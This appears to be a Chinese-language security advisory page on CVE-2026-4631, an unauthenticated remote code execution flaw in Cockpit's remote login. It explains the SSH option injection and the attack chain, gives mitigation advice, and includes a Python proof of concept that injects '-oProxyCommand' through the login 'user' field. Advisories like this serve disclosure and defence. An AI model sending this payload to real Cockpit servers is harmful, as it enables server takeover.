IPBUF安全漏洞报告
English
CVE-2026-4631 CVSS 9.8 严重

CVE-2026-4631 Cockpit远程登录代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-4631
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cockpit

相关标签

RCE远程代码执行Cockpit命令注入RedHatCVE-2026-4631

漏洞概述

Cockpit是一款基于Web的服务器管理图形界面。该漏洞存在于其远程登录功能中,由于未对用户输入的主机名和用户名进行有效的验证和清理,导致攻击者可以向SSH客户端注入恶意参数。攻击者无需经过身份验证,即可发送特制的HTTP请求在服务器端执行任意系统命令,从而完全控制主机。

技术细节

该漏洞的根本原因在于Cockpit后端组件在构建SSH命令行时,直接将Web前端传来的主机名(host)和用户名(user)参数拼接到SSH命令中,未经过滤或转义。这允许攻击者利用SSH客户端支持的选项(如-oProxyCommand)进行命令注入。由于这一处理流程发生在SSH握手和用户凭证验证之前,攻击者无需拥有有效账号即可利用该漏洞。一旦攻击成功,恶意SSH选项将被解析并执行,导致以Cockpit服务权限运行任意Shell命令,获取服务器最高权限。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络,发现开放了Cockpit Web服务(默认端口9090)的目标主机。
STEP 2
2. 武器化
攻击者构造包含恶意SSH选项(如-oProxyCommand)的HTTP POST请求数据包,并将其注入到登录接口的用户名字段中。
STEP 3
3. 投递
攻击者将构造好的恶意请求发送到目标主机的Cockpit登录端点。
STEP 4
4. 利用
Cockpit后端解析请求并调用SSH客户端,恶意参数被传入,导致SSH客户端在认证前执行攻击者指定的系统命令。
STEP 5
5. 安装与控制
命令执行成功后,攻击者可进一步写入Webshell或建立反弹Shell,从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-4631 Proof of Concept # Target: Cockpit Web Service # Description: Injects malicious SSH options via the 'user' parameter to achieve RCE. target_url = "http://<target-ip>:9090/cockpit/login" # Payload using SSH -oProxyCommand to execute a shell command (e.g., creating a file) # The injection happens before authentication, so password can be arbitrary malicious_user = "-oProxyCommand=touch /tmp/pwned" payload = { "user": malicious_user, "password": "dummy", "host": "localhost" } try: response = requests.post(target_url, json=payload, timeout=10) print(f"Request sent with status code: {response.status_code}") print("Check /tmp/pwned on the target host to verify execution.") except Exception as e: print(f"Error: {e}")

影响范围

Cockpit (具体受影响版本请参考Red Hat安全通告 RHSA-2026:7381, RHSA-2026:7382等)

防御指南

临时缓解措施
如果无法立即升级补丁,建议暂时关闭Cockpit服务或通过网络ACL严格限制访问来源。同时,应检查系统中是否存在异常文件或进程,以确认是否已被攻陷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表